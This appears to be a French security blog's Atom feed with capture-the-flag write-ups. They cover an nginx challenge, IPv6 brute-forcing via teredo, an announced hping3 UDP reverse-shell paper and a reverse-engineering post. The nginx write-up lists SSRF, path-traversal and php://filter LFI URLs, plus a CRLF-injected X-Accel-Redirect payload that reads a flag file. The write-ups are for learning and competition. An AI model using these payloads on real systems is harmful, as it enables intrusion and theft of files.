&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;C&#39;est à ce moment la qu&#39;on compris qu&#39;il fallait exploiter cela différemment : reverse proxy inside!!&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;En effet, configuré de la sorte nous n&#39;aurions jamais les droits pour lire le fichier!!&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;Quelques recherches plus tard on est donc parti sur des centaines de tests différent concernant un &lt;i&gt;internal redirec&lt;/i&gt;t (127.0.0.1:5001), en voici quelques exemple afin de vous donner des idées le cas échéant:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;b&gt;...&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px;&quot;&gt;http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/?f=/home/secret/flag&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;http://109.233.61.11:27280/?retpath=http://109.233.61.11:27280/news/?f=../../../../../../../home/secret/flag&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/?f=php://filter/convert.base64-encode/resource=../../../../../../../../../../secret/flag&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/?f=/home/secret/flag&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px;&quot;&gt;http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/secret/flag&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px;&quot;&gt;&lt;b&gt;...&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;Au final la solution et nous l&#39;avion tenté via les headers sans succès etait :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;b&gt;http://109.233.61.11:27280/?retpath=/secret/flag%0AX-Accel-Redirect:%20/secret/flag&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQh_xnTjZLrhoUVi6yaGk6qkkt6jCX1XxXp-HBQOgk9axKrw4BM2m31eRD6mtRvj0G_Lwa3fZ9VFhimCBznCANycefhAL_dEtSBaLA48hpjrqkdVNucLK5IX4ZyubyE8NWhZpFf2h4RnUJ/s1600/flag_web2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQh_xnTjZLrhoUVi6yaGk6qkkt6jCX1XxXp-HBQOgk9axKrw4BM2m31eRD6mtRvj0G_Lwa3fZ9VFhimCBznCANycefhAL_dEtSBaLA48hpjrqkdVNucLK5IX4ZyubyE8NWhZpFf2h4RnUJ/s1600/flag_web2.jpg&quot; height=&quot;40&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;Nous l&#39;avions quasiment trouvé mais encore fallait-il penser à utiliser X-Accel-Redirect directement dans l&#39;url !!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;Voici un des quelques liens sur Nginx et son module internal &amp;nbsp;que nous avions utilisé:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;a href=&quot;http://nginx.org/en/docs/http/ngx_http_core_module.html#internal&quot; target=&quot;_blank&quot;&gt;nginx.org&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;La suite se trouvant sur google à vous de rechercher si l&#39;occasion se présente mais surtout surtout laisser aller l&#39;imagination car perso jamais je n&#39;aurait pensé à mettre ceci dans l&#39;url tel quel !&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;Enjoy!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/5807421213526067719/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/5807421213526067719' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/5807421213526067719'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/5807421213526067719'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2014/02/write-up-xnginx-curling-200-olympic-ctf.html' title='[Write Up] Xnginx: Curling 200 (Olympic-CTF)'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZrX-wejMcVxSSnHagLCQOJQi-4RMYWyuSOJQeR5cFdpRwsv2Gn8s6eu_zhU0o4DhlR_D79zDC-rCl2Wz_sl6M46uqB3YwM67pCCsFJxMum7K_BR5k5kNfsxmjJyoigZq1pYfvIt6hO2lu/s72-c/lfi.png" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-2085519405976302529</id><published>2014-02-09T17:42:00.000+01:00</published><updated>2014-02-09T18:52:04.059+01:00</updated><title type='text'>[Write Up] Out there: Curling 10 (Olympic-CTF)</title><content type='html'>Salut à tous, ce week end avait lieu l&#39;Olympic CTF auquel nous avons participé avec nombre de personne de la team Sec0d.&lt;br /&gt;
&lt;br /&gt;
Malgrès nos efforts nous ne nous sommes que peu classé alors que certains challenge (Curl200 entre autre) étaient quasiment bouclé ce qui est trés frustrant mais finalement on aura passé un bon week end su ce CTF de qualité !&lt;br /&gt;
&lt;br /&gt;
J&#39;ai hésité à publier ce petit write up puis me suis dis que la partie importante de ce dernier (car sans ça il perd tout son intérêt) était la petite partie IPV6.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
En effet, l&#39;intitulé était: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&amp;nbsp;&lt;i style=&quot;background-color: white; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; text-align: center;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;Flag is out there:&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://[2a02:6b8:0:141f:fea9:d5ff:fed5:XX01]/&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;Flag format: CTF{..32 hexes..}&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
le message est clair: il nous faut trouver le bon link en bruteforçant l&#39;octet incriminé.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
Oui mais voila, nous devront travaillé en IPV6 et étant sur un CTF on aimerait faire vite pour scorer et passer à autre chose!!&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
J&#39;ai donc opté pour la facilité (comme toujours) : l&#39;encapsulation IPV6 en UDP IPV4 et ... certains tools sous Kali sont la pour nous faire ça en 2 temps, trois mouvement et c&#39;est bon à savoir ! ;-)&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
Le lien vers le tutorial complet est dispo en fin d&#39;article mais voici comment procéder:&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
dans le shell saisissez &amp;nbsp;le commande&amp;nbsp;&lt;i&gt;miredo&amp;nbsp;&lt;/i&gt;puis faites un &lt;i&gt;ifconfig teredo &lt;/i&gt;(teredo étant l&#39;interface créée par miredo) et voila, votre encapsulation IPV6 est en place, le reste est facile et est illustré ci-dessous avec en prime le script disponible en fin d&#39;aticle.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVSf9Z6y6Ao2mfzyQiT0TCaURZgCfkDlU5N_q98faBb38Bh6Bv8bJrwHAMbHJF6X1FyFpg-ZtPPSCiWwDqsWiEcbNM_pSLtIgqpoAyqpePPZ24O9pyw7ZRbBmGqvnq9z2ztLTbD66fUze1/s1600/miredo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVSf9Z6y6Ao2mfzyQiT0TCaURZgCfkDlU5N_q98faBb38Bh6Bv8bJrwHAMbHJF6X1FyFpg-ZtPPSCiWwDqsWiEcbNM_pSLtIgqpoAyqpePPZ24O9pyw7ZRbBmGqvnq9z2ztLTbD66fUze1/s1600/miredo.png&quot; height=&quot;184&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
Bien sûr ce script n&#39;est pas des plus propre dans le sens ou, dans un soucis de gain de temps j&#39;ai utiliser un appel à wget ce qui m&#39;a permis de le laisser tourner en tâche de fond afin de commencer à exploiter le &lt;b&gt;curl200&lt;/b&gt; et ses &quot;&lt;i&gt;files disclosure&quot;&lt;/i&gt; et &quot;&lt;i&gt;internal redirect&quot;&lt;/i&gt;.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
Un challenge sur lequel nous avons passé énormément de temps et pour lequel j&#39;ai hâte de voir les writes-ups.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
Enfin, continuons notre bruteforce IPV6 pour le moment:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTp4mU4XxLsRcqHDXdHRVVBCeLZZD3x52m9lOvlO8ZZoKNy0FF1YuxgwAb5Vpp6jHHHKtq3h3lfGfyL4muoU14ioP9XY9tFUJned0kKYnK_-ufUby1tic6LHRXuE65ubIrWk3rQa4l1LUx/s1600/screen1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTp4mU4XxLsRcqHDXdHRVVBCeLZZD3x52m9lOvlO8ZZoKNy0FF1YuxgwAb5Vpp6jHHHKtq3h3lfGfyL4muoU14ioP9XY9tFUJned0kKYnK_-ufUby1tic6LHRXuE65ubIrWk3rQa4l1LUx/s1600/screen1.png&quot; height=&quot;205&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
Et voila, reste qu&#39;a lire ce fichier pour trouver en bas de page :&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace; font-size: x-small; line-height: 20px;&quot;&gt;
&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;Script disponible &lt;a href=&quot;https://drive.google.com/file/d/0B0FNzRUV7yjwMXlldjJYWjZrdnc/edit?usp=sharing&quot; target=&quot;_blank&quot;&gt;ici&lt;/a&gt;&amp;nbsp; pour les curieux! ;-)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20px;&quot;&gt;Ressources &quot;miredo&quot; de chez la communautée Kali: &lt;a href=&quot;http://www.coyotus.com/viewtopic.php?id=488&quot; target=&quot;_blank&quot;&gt;ici&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/2085519405976302529/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/2085519405976302529' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/2085519405976302529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/2085519405976302529'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2014/02/write-up-out-there-curling-10-olympic.html' title='[Write Up] Out there: Curling 10 (Olympic-CTF)'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVSf9Z6y6Ao2mfzyQiT0TCaURZgCfkDlU5N_q98faBb38Bh6Bv8bJrwHAMbHJF6X1FyFpg-ZtPPSCiWwDqsWiEcbNM_pSLtIgqpoAyqpePPZ24O9pyw7ZRbBmGqvnq9z2ztLTbD66fUze1/s72-c/miredo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-8284036082738990</id><published>2014-01-19T16:28:00.002+01:00</published><updated>2014-01-19T16:28:51.818+01:00</updated><title type='text'>UDP reverse shell et firewall bypassing via hping3</title><content type='html'>Salut à tous!&lt;br /&gt;
&lt;br /&gt;
Déja commençons comme il se doit avec un bonne année etc...&lt;br /&gt;
&lt;br /&gt;
Bref, pourquoi encore un paper sur hping3 alors que cela, j&#39;en conviens n&#39;a rien d&#39;extraordinaire et sent le réchauffé.&lt;br /&gt;
&lt;br /&gt;
Tout simplement parceque depuis quelques mois maintenant j&#39;ai pas mal de demande concernant les utilisations possible de hping3.&lt;br /&gt;
&lt;br /&gt;
En effet, je sais que de la doc existe oui mais .. et alors?&lt;br /&gt;
J&#39;aurais pu faire un article sur le RoP ou les protections GCC/kernel actuelles mais honnêtement ça, ça ne vous semble pas encore plus vu re-vu et réchauffé ? ;-)&lt;br /&gt;
&lt;br /&gt;
D&#39;autant que ça ne serait pas à la hauteur de l&#39;existant enfin bref, passons à hping3 et mon titre accrocheur.&lt;br /&gt;
&lt;br /&gt;
En 2008 j&#39;avais déja publié un article sur hping (V.2 à l&#39;époque) sur lequel au final on apprennait qu&#39;il permettait déja certaines choses simpas.&lt;br /&gt;
&lt;br /&gt;
C&#39;est cool mais ayant évolué et ayant eu pas mal de demande à ce sujet, j&#39;ai un petit peu travaillé dessus et je dois avouer qu&#39;il offre bien de possibilités et certaines trés avancés !&lt;br /&gt;
&lt;br /&gt;
Cet article aura donc pour objectif de vous donner les ficelles nécéssaires à une réflexion autour de l&#39;outils et, bien entendu, de vous faire une petite démonstration de ce dernier au travers d&#39;un scénario testé en LAN qui peux avec un peu de réflexion être appliqué à bien d&#39;autres cas... à vous de faire preuve d&#39;imagination!&lt;br /&gt;
&lt;br /&gt;
Il ne s&#39;agit donc pas d&#39;une documentation complète sur les possibilité de l&#39;outils néanmoins je pense qu&#39;aprés lecture certains aurons des idées de ce qui est réalisable et peut être que cela vous servira... qui sait ?&lt;br /&gt;
&lt;a href=&quot;https://drive.google.com/file/d/0B0FNzRUV7yjwd2JGRGpNOGcyWms/edit?usp=sharing&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;&lt;/a&gt;
&lt;a href=&quot;https://drive.google.com/file/d/0B0FNzRUV7yjwd2JGRGpNOGcyWms/edit?usp=sharing&quot; target=&quot;_blank&quot;&gt;Lien vers le PDF de l&#39;article&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
N&#39;hésitez pas à donner vos avis ou vos interrogations.&lt;br /&gt;
Merci à tous !&lt;br /&gt;
&lt;br /&gt;
kmkz &lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/8284036082738990/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/8284036082738990' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/8284036082738990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/8284036082738990'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2014/01/udp-reverse-shell-et-firewall-bypassing.html' title='UDP reverse shell et firewall bypassing via hping3'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-1811629078313263834</id><published>2012-12-16T20:27:00.001+01:00</published><updated>2012-12-18T16:03:29.361+01:00</updated><title type='text'>[Write-up] PHDays CTF (Quals) Bin100</title><content type='html'>Me&amp;nbsp;revoilà!!&lt;br /&gt;
&lt;br /&gt;
Après&amp;nbsp;tant d&#39;absence non, je ne suis pas mort !&lt;br /&gt;
Plutôt&amp;nbsp;pas mal occupé sur Toulouse ou je bosse désormais mais jamais bien loin du monde de la sécu ;-) !&lt;br /&gt;
&lt;br /&gt;
Ainsi, je me suis pas mal remis aux CTF depuis peu avec mes confères d&#39;ou ce petit post de &quot;reprise d&#39;activité&quot; du blog .&lt;br /&gt;
&lt;br /&gt;
Bon, je me suis pas foulé sur ce coup, je le reconnais mais je commence à avoir des idées d&#39;articles qui germent dans ma &#39;tite tête alors en attendant voici un petit writeup des plus simple mais bon...&lt;br /&gt;
Comme souvent ici il est question de R.E.&lt;br /&gt;
&lt;br /&gt;
Le CTF était de type &quot;Jeopardy&quot; : il fallait DL les challenges sur l&#39;adresse&lt;a href=&quot;http://quals.phdays.com/&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: #f6b26b;&quot;&gt; quals.phdays.com&lt;/span&gt;&lt;/a&gt; puis POUTRER !&lt;br /&gt;
&lt;br /&gt;
Je me suis donc dis que les catégories Bin et Pwn étaient pour moi .&lt;br /&gt;
Cela dis, j&#39;ai jeter un oeil ailleurs aussi, forcément.. C&#39;était&amp;nbsp;plutôt&amp;nbsp;pas mal avec de l&#39;audit de source&amp;nbsp;&amp;nbsp;PHP et requêtes SQL (voir en fin d&#39;article)&amp;nbsp;en passant par un puzzle à résoudre ou encore du R.E avancé sous Bochs, bref, du pur bonheur !!&lt;br /&gt;
&lt;br /&gt;
Bon,&amp;nbsp;passons&amp;nbsp;au sujet traité ici: le bin100:&lt;br /&gt;
On DL une archive&lt;span style=&quot;color: #6fa8dc;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.zip&lt;/span&gt;, un petit &lt;span style=&quot;color: red;&quot;&gt;unzip &lt;/span&gt;dessus et on se retrouve avec un binaire &quot;discret&quot;&amp;nbsp;appelé simplement&amp;nbsp;&lt;span style=&quot;color: #6fa8dc;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;exe&lt;/span&gt; que j&#39;ai rapidement renommé &lt;span style=&quot;color: red;&quot;&gt;bin1.exe&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
En premier lieu je lance la&amp;nbsp;bête&amp;nbsp;afin de le voir à l&#39;oeuvre et de prendre en compte les éventuels outputs renvoyés:&lt;br /&gt;
